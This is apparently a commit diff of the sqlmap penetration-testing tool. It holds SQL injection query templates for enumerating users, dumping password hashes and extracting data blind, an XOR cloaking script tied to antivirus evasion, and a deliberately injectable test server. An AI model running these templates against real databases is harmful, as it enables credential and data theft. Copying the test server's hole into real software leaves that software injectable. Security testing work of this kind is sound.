<substring query="MID((%s),%d,%d)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/>
<inference query="ASCII(MID((%s),%d,1))>%d"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER"/>
<current_db query="CURRENT_USER"/>
<hostname/>
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
<is_dba query="CURRENT_USER='DBA'"/>
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
<users>
<inband query="SELECT name FROM db_user"/>
<blind query="SELECT name FROM db_user LIMIT %d,1" count="SELECT COUNT(name) FROM db_user"/>
</users>
<passwords/>
<privileges>
<inband query="SELECT grantee_name,auth_type FROM db_auth" condition="grantee_name"/>
<blind query="SELECT DISTINCT(auth_type) FROM db_auth WHERE grantee_name='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(auth_type)) FROM db_auth WHERE grantee_name='%s'"/>
</privileges>
<roles/>
<statements/>
<dbs>
<inband query="SELECT owner_name FROM db_class"/>
<blind query="SELECT DISTINCT(owner_name) FROM db_class LIMIT %d,1" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class"/>
</dbs>
<tables>
<inband query="SELECT owner_name,class_name FROM db_class" condition="owner_name"/>
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
</tables>
<columns>
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table>
<search_db>
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
<blind query="SELECT name FROM db_user WHERE %s" count="SELECT COUNT(name) FROM db_user WHERE %s" condition="name"/>
</search_db>
<search_table>
<inband query="SELECT owner_name,class_name FROM db_class WHERE %s" condition="class_name" condition2="owner_name"/>
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
</search_table>
<search_column>
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
</search_column>
</dbms>
<dbms value="InterSystems Cache">
<cast query="CAST(%s AS NVARCHAR(4000))"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="COALESCE(%s,' ')"/>
<delimiter query="||"/>
<limit query="SELECT TOP %d %s FROM (%s) WHERE %%VID>%d"/>
<limitregexp query="TOP\s+(\d+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+%%VID>(\d+)"/>
<limitgroupstart query="2"/>
<limitgroupstop query="1"/>
<limitstring/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--" query2=";"/>
<substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
<banner query="$ZVERSION"/>
<current_user query="$USERNAME"/>
<current_db/>
<hostname/>
<table_comment/>
<column_comment/>
<is_dba query="$USERNAME='_SYSTEM'"/>
<check_udf/>
<users/>
<passwords/>
<privileges/>
<roles/>
<statements/>
<dbs>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
<blind query="SELECT TOP 1 schema_name FROM (SELECT TOP ALL schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name) WHERE %%VID=%d" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
</dbs>
<tables>
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
<blind query="SELECT TOP 1 table_name FROM (SELECT TOP ALL table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name) WHERE %%VID=%d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
</tables>
<columns>
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
<blind query="SELECT TOP 1 %s FROM (SELECT TOP ALL * FROM %s.%s ORDER BY %s) WHERE %%VID=%d" count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table>
<search_db>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
</search_db>
<search_table>
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
</search_table>
<search_column>
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
</search_column>
</dbms>
<dbms value="eXtremeDB">
<cast query="CAST(%s AS VARCHAR(4000))"/>
<length query="LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query="||"/>
<limit query="LIMIT %d,%d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--"/>
<substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
<banner/>
<current_user/>
<current_db/>
<hostname/>
<table_comment/>
<column_comment/>
<is_dba/>
<check_udf/>
<users/>
<passwords/>
<privileges/>
<roles/>
<statements/>
<dbs/>
<tables/>
<columns/>
<dump_table>
<inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
</dump_table>
<search_db/>
<search_table/>
<search_column/>
</dbms>
<dbms value="FrontBase">
<cast query="CAST(%s AS NCHAR VARYING(4000))"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="COALESCE(%s,' ')"/>
<delimiter query="||"/>
<limit query="TOP (%d,%d)"/>
<limitregexp query="\s+TOP\s*\(([\d]+)\s*\,\s*([\d]+)\)" query2="\s+TOP\s+([\d]+)"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
<limitstring query=" TOP "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query=";--"/>
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<inference query="SUBSTRING((%s) FROM %d FOR 1)>'%c'"/>
<banner/>
<current_user query="CURRENT_USER"/>
<current_db query="CURRENT_SCHEMA"/>
<hostname/>
<table_comment/>
<column_comment/>
<is_dba query="(SELECT UPPER(CURRENT_USER) FROM INFORMATION_SCHEMA.IO_STATISTICS)='_SYSTEM'"/>
<check_udf/>
<users>
<inband query="SELECT user_name FROM INFORMATION_SCHEMA.USERS"/>
<blind query="SELECT TOP (%d,1) user_name FROM INFORMATION_SCHEMA.USERS" count="SELECT COUNT(user_name) FROM INFORMATION_SCHEMA.USERS"/>
</users>
<passwords>
<inband query="SELECT user_name,password FROM INFORMATION_SCHEMA.USERS" condition="user_name"/>
<blind query="SELECT TOP (%d,1) password FROM INFORMATION_SCHEMA.USERS WHERE user_name='%s'" count="SELECT COUNT(password) FROM INFORMATION_SCHEMA.USERS WHERE user_name='%s'"/>
</passwords>
<privileges/>
<roles/>
<statements/>
<dbs>
<inband query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.SCHEMATA"/>
<blind query="SELECT TOP (%d,1) &quot;schema_name&quot; FROM INFORMATION_SCHEMA.SCHEMATA" count="SELECT COUNT(&quot;schema_name&quot;) FROM INFORMATION_SCHEMA.SCHEMATA"/>
</dbs>
<tables>
<inband query="SELECT &quot;schema_name&quot;,&quot;table_name&quot; FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk" condition="&quot;schema_name&quot;"/>
<blind query="SELECT TOP (%d,1) &quot;table_name&quot; FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE &quot;schema_name&quot;='%s'" count="SELECT COUNT(&quot;table_name&quot;) FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE &quot;schema_name&quot;='%s'"/>
</tables>
<columns>
<inband query="SELECT &quot;column_name&quot;,data_type FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR.column_name_pk=INFORMATION_SCHEMA.COLUMNS.column_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;table_name&quot;='%s' AND &quot;schema_name&quot;='%s'" condition="&quot;column_name&quot;"/>
<blind query="SELECT &quot;column_name&quot; FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;table_name&quot;='%s' AND &quot;schema_name&quot;='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR.column_name_pk=INFORMATION_SCHEMA.COLUMNS.column_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;table_name&quot;='%s' AND &quot;column_name&quot;='%s' AND &quot;schema_name&quot;='%s'" count="SELECT COUNT(&quot;column_name&quot;) FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;table_name&quot;='%s' AND &quot;schema_name&quot;='%s'" condition="&quot;column_name&quot;"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table>
<search_db>
<inband query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="&quot;schema_name&quot;"/>
<blind query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(&quot;schema_name&quot;) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="&quot;schema_name&quot;"/>
</search_db>
<search_table>
<inband query="SELECT &quot;schema_name&quot;,&quot;table_name&quot; FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" condition="&quot;table_name&quot;" condition2="&quot;schema_name&quot;"/>
<blind query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" query2="SELECT &quot;table_name&quot; FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE &quot;schema_name&quot;='%s'" count="SELECT COUNT(&quot;schema_name&quot;) FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" count2="SELECT COUNT(&quot;table_name&quot;) FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE &quot;schema_name&quot;='%s'" condition="&quot;table_name&quot;" condition2="&quot;schema_name&quot;"/>
</search_table>
<!-- NOTE: Not working properly with DISTINCT(...) in subquery -->
<search_column>
<inband query="SELECT &quot;schema_name&quot;,&quot;table_name&quot; FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" condition="&quot;column_name&quot;" condition2="&quot;schema_name&quot;" condition3="&quot;table_name&quot;"/>
<blind query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" query2="SELECT &quot;table_name&quot; FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;schema_name&quot;='%s'" count="SELECT COUNT(&quot;schema_name&quot;) FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" count2="SELECT COUNT(&quot;table_name&quot;) FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND &quot;schema_name&quot;='%s'" condition="&quot;column_name&quot;" condition2="&quot;schema_name&quot;" condition3="&quot;table_name&quot;"/>
</search_column>
</dbms>
</root>
+3
View File
@@ -6,14 +6,17 @@
# Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27)
+9
View File
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
Sherif El-Deeb, <archeldeeb(at)gmail.com>
* for reporting a minor bug
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
* for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
* for contributing a Portuguese translation of README.md
Francesco Marano, <francesco.mrn24(at)gmail.com>
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
Ahmad Maulana, <matdhule(at)gmail.com>
* for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
* for reporting a minor bug
Henri Salo <henri(at)nerv.fi>
* for a donation
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
* for reporting a minor bug
+1 -1
View File
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
* The `bottle` web framework library located under `thirdparty/bottle/`.
Copyright (C) 2012, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`.
Copyright (C) 2019, Miroslav Stampar.
Copyright (C) 2019-2020, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
+1 -1
View File
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens
+2 -2
View File
@@ -2,7 +2,7 @@
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar
----
@@ -43,7 +43,7 @@ Tautan
* Situs: http://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+1 -2
View File
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
Instalação
----
Você pode baixar o arquivo tar mais recente clicando [aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
+7 -9
View File
@@ -19,28 +19,26 @@ from optparse import OptionParser
if sys.version_info >= (3, 0):
xrange = range
ord = lambda _: _
def hideAscii(data):
retVal = b""
for i in xrange(len(data)):
value = data[i] if isinstance(data[i], int) else ord(data[i])
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
KEY = b"MOZFqVjlk1CY436G"
return retVal
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
return hideAscii(zlib.compress(data))
return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
try:
data = zlib.decompress(hideAscii(data))
data = zlib.decompress(xor(data, KEY))
except Exception as ex:
print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
def main():
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
parser = OptionParser(usage=usage, version='0.2')
try:
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1 -1
View File
@@ -7,7 +7,7 @@
export SQLMAP_DREI=1
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
unset SQLMAP_DREI
source `dirname "$0"`"/junk.sh"
+16
View File
@@ -0,0 +1,16 @@
#!/bin/bash
# NOTE: this script is for dev usage after AV something something
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
cd $DIR/../cloak
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
git clean -f > /dev/null
+23 -12
View File
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
from __future__ import print_function
import base64
import json
import re
import sqlite3
@@ -18,6 +19,7 @@ import traceback
PY3 = sys.version_info >= (3, 0)
UNICODE_ENCODING = "utf-8"
DEBUG = False
if PY3:
from http.client import INTERNAL_SERVER_ERROR
@@ -83,7 +85,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
try:
HTTPServer.finish_request(self, *args, **kwargs)
except Exception:
traceback.print_exc()
if DEBUG:
traceback.print_exc()
class ReqHandler(BaseHTTPRequestHandler):
def do_REQUEST(self):
@@ -131,7 +134,7 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
else:
code, output = OK, ""
@@ -144,19 +147,27 @@ class ReqHandler(BaseHTTPRequestHandler):
if "query" in self.params:
_cursor.execute(self.params["query"])
elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
if "base64" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
else:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall()
output += "<b>SQL results:</b>\n"
output += "<table border=\"1\">\n"
output += "<b>SQL results:</b><br>\n"
for row in results:
output += "<tr>"
for value in row:
output += "<td>%s</td>" % value
output += "</tr>\n"
if results:
output += "<table border=\"1\">\n"
for row in results:
output += "<tr>"
for value in row:
output += "<td>%s</td>" % value
output += "</tr>\n"
output += "</table>\n"
else:
output += "no results found"
output += "</table>\n"
output += "</body></html>"
except Exception as ex:
code = INTERNAL_SERVER_ERROR
@@ -221,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
global _server
try:
_server = ThreadingServer((address, port), ReqHandler)
print("[i] running HTTP server at '%s:%d'" % (address, port))
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
_server.serve_forever()
except KeyboardInterrupt:
_server.socket.close()
+2
View File
@@ -54,6 +54,8 @@ def action():
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
kb.fingerprinted = True
# Enumeration options
if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner())
